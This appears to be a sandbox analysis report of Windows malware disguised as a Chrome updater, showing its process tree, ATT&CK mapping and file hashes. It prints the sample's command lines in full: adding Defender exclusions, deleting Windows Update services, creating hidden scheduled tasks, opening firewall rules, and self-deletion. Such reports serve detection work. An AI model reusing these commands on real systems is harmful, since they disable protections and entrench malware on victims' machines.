- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  PID:96832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:96620
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:89304
- - C:\Windows\system32\cmd.exe
    cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:96824
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:96960
  - - C:\Windows\system32\sc.exe
      sc stop UsoSvc
      4⤵
      Launches sc.exe
      PID:96176
  - - C:\Windows\system32\sc.exe
      sc stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:96912
  - - C:\Windows\system32\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:102672
  - - C:\Windows\system32\sc.exe
      sc stop bits
      4⤵
      Launches sc.exe
      PID:102792
  - - C:\Windows\system32\sc.exe
      sc stop dosvc
      4⤵
      Launches sc.exe
      PID:102852
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
      4⤵
      PID:2416
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
      4⤵
      PID:632
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
      4⤵
      PID:4480
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
      4⤵
      PID:3184
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      4⤵
      PID:228
- - C:\Windows\system32\cmd.exe
    cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
    3⤵
    PID:96864
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:102004
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-ac 0
      4⤵
      PID:96740
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-dc 0
      4⤵
      PID:102616
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-ac 0
      4⤵
      PID:102684
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-dc 0
      4⤵
      PID:102760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:96968
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:96924
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe xtrjicqmdliu
    3⤵
    PID:4328
  - - C:\Windows\system32\cmd.exe
      cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
      4⤵
      Drops file in Program Files directory
      PID:848
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1296
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic PATH Win32_VideoController GET Name, VideoProcessor
        5⤵
        
        PID:1676
- - C:\Windows\system32\cmd.exe
    cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
    3⤵
    - Drops file in Program Files directory
    PID:4140
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1744
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe wvhbfinhdckusjju 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeXwQ/O4+due3etuok0KCy6TAeBBK2Zj7dzTkc9P7Txuspl/ztFHeT1vDsXwtgxIFZnxGXI+P7h6Wy2BaqsXFRrbRIyylpVUfDVtjurLuTI6hfYZYlaT2c8T3z2D8KilAioXHHI3GdcX8L+5AQJHhaF3EikxjkII2qRl4IAJt0ne1Kthho/EoWoWqiJ8V46anYGIeeueaKL6G4gUS0jG8bW+uOPYpliibsIQvftJQy3GdQNbdmaQoQosbMtF/zsQIOPYtzoBcdM/sdKVWCIsST/Py6kltT+qpekCzJYBFF4LST+8+EmmopPFkm4CPe5KhMiY/+g/sQ7d50uqIjFwwoHwsdnFS1l7B7kznzCIpeqO/4VPcOjXZ8D/gqWFx/7uyyvuxXByWtdfg2SHIbTo9ax767hx8DEZJobkKiCLCF5s3S9KZPJ6oc8SVkEHvmPn3ocLOCMVNSrrmyVksnNDnuU8b1vWVxnieD7xm0UnpffWA=
    3⤵
    PID:3520

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1776

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2772

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3524

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1940

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:4208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4988

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:5116

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3868

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3376
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3376 -s 732
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:102732

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3292
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3292 -s 960
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:102784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3080

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:2792
- C:\Users\Admin\AppData\Local\Temp\0DEA9964C6E2AD110AD9A26A2E25417AFA7B2ED990362.exe
  "C:\Users\Admin\AppData\Local\Temp\0DEA9964C6E2AD110AD9A26A2E25417AFA7B2ED990362.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4196
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:101716
  - - C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
      "C:\Users\Admin\AppData\Local\Microsoft\ofg.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1340
    - - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /C schtasks /create /tn \o5jbkg8hsq /tr "C:\Users\Admin\AppData\Roaming\o5jbkg8hsq\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1964
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn \o5jbkg8hsq /tr "C:\Users\Admin\AppData\Roaming\o5jbkg8hsq\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
        6⤵
        Creates scheduled task(s)
        
        PID:2860
  - - C:\Users\Admin\AppData\Local\Microsoft\test.exe
      "C:\Users\Admin\AppData\Local\Microsoft\test.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:3792
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3792 -s 376
        5⤵
        Program crash
        
        PID:8
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        5⤵
        Loads dropped DLL
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:78784
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe" & exit
        6⤵
        
        PID:78644
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:78812
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        7⤵
        Delays execution with timeout.exe
        
        PID:96540
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3792 -s 98900
        5⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:96348
  - - C:\Users\Admin\AppData\Local\Microsoft\brave.exe
      "C:\Users\Admin\AppData\Local\Microsoft\brave.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Drops file in Program Files directory
      Suspicious use of WriteProcessMemory
      PID:3196
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:65032
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:78452
      - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:78720
      - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:78956
      - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:79132
      - C:\Windows\system32\sc.exe
        
        sc stop bits
        6⤵
        Launches sc.exe
        
        PID:79264
      - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        6⤵
        Launches sc.exe
        
        PID:79564
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        6⤵
        
        PID:79788
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
        6⤵
        
        PID:80188
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
        6⤵
        Modifies security service
        
        PID:80296
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
        6⤵
        
        PID:80392
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        6⤵
        
        PID:80540
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:78480
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:78768
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:78932
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:79076
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:79212
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:78508
    - - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        5⤵
        Drops file in Windows directory
        
        PID:89292
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:89316
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
        6⤵
        
        PID:96728
  - - C:\Users\Admin\AppData\Local\Microsoft\chrome.exe
      "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Drops file in Windows directory
      Suspicious use of WriteProcessMemory
      PID:4788
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2184
    - - C:\Windows\SysWOW64\SCHTASKS.exe
        
        SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
        5⤵
        Creates scheduled task(s)
        
        PID:4084
    - - C:\Windows\SysWOW64\SCHTASKS.exe
        
        SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
        5⤵
        Creates scheduled task(s)
        
        PID:1988
    - - C:\Windows\GoogleUpdate.exe
        
        C:\Windows\GoogleUpdate.exe
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4464
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL
        6⤵
        Modifies Windows Firewall
        
        PID:30120
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:30140
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall firewall add rule name="Google Updater" dir=out action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:30160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2804

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2676

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:2664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2388

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2188

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2072

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1816

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1932

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1880

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache
1⤵
PID:1664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1448

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1276

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1056

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1036

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:101804

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:102160

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:928
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3792 -ip 3792
  2⤵
  PID:4312
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 3792 -ip 3792
  2⤵
  PID:83260
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 436 -p 3292 -ip 3292
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:102608
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 476 -p 3376 -ip 3376
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:102628

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 3.2MB
SHA256 0af01618c8b68b42870b2fa8b0ee79ce961a3199cd8c006c7d1e770abb93030c
MD5 ae58e8058ae55a3dd3eefccb4a48be78
SHA1 09fc0b2194e8b8b5d690650057805b8966305f3e
SHA512 fadcacb167576455ee3a1ac8e45d34c5d8aeb428490eb14572ecb8580622f5b4d82d46a9823ec0b6e7e0a4637749f8ffc35525ac7068f2236f358c353a447c99
SSDEEP 98304:h+TH5w8D7qD6BlctF/lpx5wwVbJMqyw6jrraMEyR1oujZNXgwVvavDKmU:eH5FDgtFtHX7yw6L/r4KLQwV1
MD5 SHA1 SHA512 SSDEEP

Submit Download

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 3.2MB
SHA256 0af01618c8b68b42870b2fa8b0ee79ce961a3199cd8c006c7d1e770abb93030c
MD5 ae58e8058ae55a3dd3eefccb4a48be78
SHA1 09fc0b2194e8b8b5d690650057805b8966305f3e
SHA512 fadcacb167576455ee3a1ac8e45d34c5d8aeb428490eb14572ecb8580622f5b4d82d46a9823ec0b6e7e0a4637749f8ffc35525ac7068f2236f358c353a447c99
SSDEEP 98304:h+TH5w8D7qD6BlctF/lpx5wwVbJMqyw6jrraMEyR1oujZNXgwVvavDKmU:eH5FDgtFtHX7yw6L/r4KLQwV1
MD5 SHA1 SHA512 SSDEEP

Submit Download

g.log

Path C:\Program Files\Google\Libs\g.log
Size 226B
SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
MD5 fdba80d4081c28c65e32fff246dc46cb
SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
MD5 SHA1 SHA512

Submit Download

WER1E33.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER1E33.tmp.csv
Size 38KB
SHA256 75779adf9e310301366e549c287eb7dfeb84b1350b1d567c3c725a0f7842ed7e
MD5 aaed426451d41aaefbd9b9c04886b77f
SHA1 45ff710d4b86a6c24b1981c4d7598750e110796a
SHA512 7e2ba0bc965b73b4b0984268d110c0a4e52382ff9527ebebef5643004504d0f5a762064d23e9d4df2e1af433b771a1c76ca23e7cd36548b76409514531ea0d91
SSDEEP 384:hQ+jKRypK36osK7Z1qt4+4qOixiBdNTvHumtWJwzjrftJAyJW3p4563S/DeRHKHy:uypkW40KD5cwzdBRDeRpUp+AIVV
MD5 SHA1 SHA512 SSDEEP

Submit Download

WER1F9C.tmp.txt

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER1F9C.tmp.txt
Size 13KB
SHA256 9456e7ec94b42d34e01c3f57dde6d7bc54228b671ed43bdbc5cbaa195662a69d
MD5 5890ac59b06ec24f4c88999a14e8f7b4
SHA1 8ca32857fb4315927d8b91f6bb92d57261b7721e
SHA512 da27ebd376f691ef9ac09c1ff4484eb6857feba406cdc4d0791ff5d52d1e9ba64f47fae6b45da7120b8f26c568467b411c726d90195d59430b8adb2dffdc552a
SSDEEP 96:4ie19Zc0ROPRcYOYdHWRH2YEZ/BtBiEFm2hwOWhpaA5uMOM8o1IGs3:Ne19hLpg1pWfaA5pOM8oKGs3
MD5 SHA1 SHA512 SSDEEP

Submit Download

WER255A.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER255A.tmp.csv
Size 36KB
SHA256 6bc88b866d27f308c6357af0dd99faf90387c0f160da10a991920a450becf5ea
MD5 412f5a2aaaeb60fd84623edaaae54e34
SHA1 acb1798a9335a7b37ea19de737cf3fbfb3504b99
SHA512 3b3f4aaccbeb28e7a5305be9085a1fb835d2d4aaa23b979fc2b193a5c8a82dbe33821c2849764235ca0347f266453baccb20f179e766be244ac35b7ba66f518a
SSDEEP 384:hQ+89jPlbiLb9K7em5mJ3zkhSnVsTLYuftbp0OrQh6krIUW3pX6ES/PejH4Ethqa:IPHgBnupRpTPePejEBMR
MD5 SHA1 SHA512 SSDEEP

Submit Download

WER2589.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER2589.tmp.csv
Size 36KB
SHA256 efb02feafd7abf61c8e89b8dbaab1696ceed9a97e416a2d996ad70512b205618
MD5 8f574cfde60b5b78e658d1b7068973e8
